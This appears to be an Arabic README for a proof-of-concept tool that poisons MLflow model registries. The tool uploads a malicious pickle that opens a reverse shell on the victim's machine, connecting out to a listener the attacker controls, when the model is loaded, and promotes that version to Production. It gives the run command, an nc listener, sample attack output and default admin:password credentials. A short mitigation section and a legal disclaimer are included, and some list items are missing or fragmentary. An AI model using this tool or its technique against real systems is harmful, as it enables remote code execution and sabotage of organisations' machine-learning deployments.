
إثبات مفهوم يقوم بتسميم النماذج المسجلة في MLflow عبر REST API، حيث يضمّن pickle خبيثًا لتفعيل تنفيذ التعليمات البرمجية عن بُعد (RCE) عند تحميل النموذج.
إثبات مفهوم عام لاستغلال RCE عبر إلغاء تسلسل pickle ضد سجلات نماذج MLflow (على غرار CVE-2024-37054). يتحدث فقط إلى واجهة MLflow REST API — دون أي افتراضات حول أي تطبيق عميل محدد أمامه.
⚠️ لاختبارات الأمان المصرح بها فقط. لا تشغّل هذا إلا ضد أنظمة تملكها أو مصرّح لك صراحةً باختبارها (بيئات CTF/المختبر، المهام ذات النطاق الموقّع، إلخ). الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني في معظم الولايات القضائية.
يقوم flavor pyfunc في MLflow بتحميل نموذج مسجّل عبر إلغاء تسلسل (unpickling) لـ
model.pkl artifact كلما تم استدعاء mlflow.pyfunc.load_model() —
سواء أكان ذلك مُفعَّلاً مباشرة عبر واجهة/API الخاصة بـ MLflow، أو
بشكل غير مباشر بواسطة تطبيق عميل يشغّل الاستدلال ضد نموذج
مسجّل.
يمكن لوحدة pickle في Python تنفيذ كود عشوائي أثناء
إلغاء التسلسل عبر طريقة __reduce__ الخاصة بالكائن. إذا كان لدى المهاجم
وصول كافٍ إلى MLflow API من أجل:
...فيمكنه تهريب pickle خبيث باسم model.pkl. في المرة التالية التي
يحمّل فيها أي شيء ذلك الإصدار من النموذج، يُنفَّذ كود المهاجم في
سياق العملية التي تقوم بالتحميل (خادم MLflow نفسه، أو
تطبيق عميل يضمّن MLflow).
هذا هو نفس البدائية الأساسية وراء عدة ثغرات MLflow،
بما في ذلك CVE-2023-6015 وCVE-2023-6018 وCVE-2024-37054. وهو
خطير بشكل خاص لأن نسخ MLflow غالباً ما تُنشر
بدون مصادقة، أو ببيانات اعتماد افتراضية معروفة
(admin:password).
مدفوع بالكامل عبر API، وبالترتيب:
--model-name).model.pkl — pickle تستدعي __reduce__ الخاصة به os.system() لـ
إ spawning reverse shell.MLmodel — المانيفست الذي يعلن عن flavor python_function /
sklearn مدعوم بذلك الـ pickle.Production)، لأن العديد من تطبيقات العملاء لا تحمّل سوى
الإصدار الموجود في مرحلة Production من النموذج.لا يكتشف أو يُفعّل تحميل النموذج الفعلي — هذا الجزء مختلف لكل عملية نشر:
mlflow.pyfunc.load_model() خلف نقطة نهاية ما (مسار /predict،
مهمة دفعية مجدولة، إلخ).تحتاج إلى:
--model-name الهدف بنفسك — من واجهة MLflow، أو
MLflow API (/api/2.0/mlflow/registered-models/search)، أو أي شيء
يعيده تطبيق عميل عندما يسجّل نموذجاً نيابةً عنك.pip install requests --break-system-packages
Python 3.8+. لا تبعيات أخرى.
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
ابدأ مستمعاً قبل التشغيل أو بعده:
nc -lvnp 4444
ثم فعّل التحميل بأي طريقة يستخدمها تطبيق الهدف (نقطة نهاية الاستدلال الخاصة به، مهمة دفعية، تحميل النموذج يدوياً من واجهة MLflow، إلخ).
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password) في مكانها أبداً.pickle (مثل ONNX،
أو flavors ذات تسلسل أكثر أماناً)، أو تحقق من تحميل النموذج/اعزله في sandbox.registered-models/create،
وmodel-versions/create، وtransition-stage في سجلات
التدقيق/الوصول الخاصة بـ MLflow، خاصةً من حسابات لا ينبغي
أن تنشر نماذج إلى Production.load_model()) بحيث لا يكون لبدائية
تنفيذ الكود هناك مسار مباشر إلى أنظمة داخلية حساسة.MIT — انظر LICENSE.
| Flag | Default | Description |
|---|
--mlflow | (required) | MLflow base URL |
--model-name | random | Registered model name to poison; created if it doesn't exist |
--lhost | (required) | Your listener IP |
--lport | 4444 | Your listener port |
--username | admin | MLflow basic auth username |
--password | password | MLflow basic auth password |
--experiment-id | 0 | Experiment ID to create the run under |
--stage | Production | Stage to promote the malicious version to, or none to skip the transition |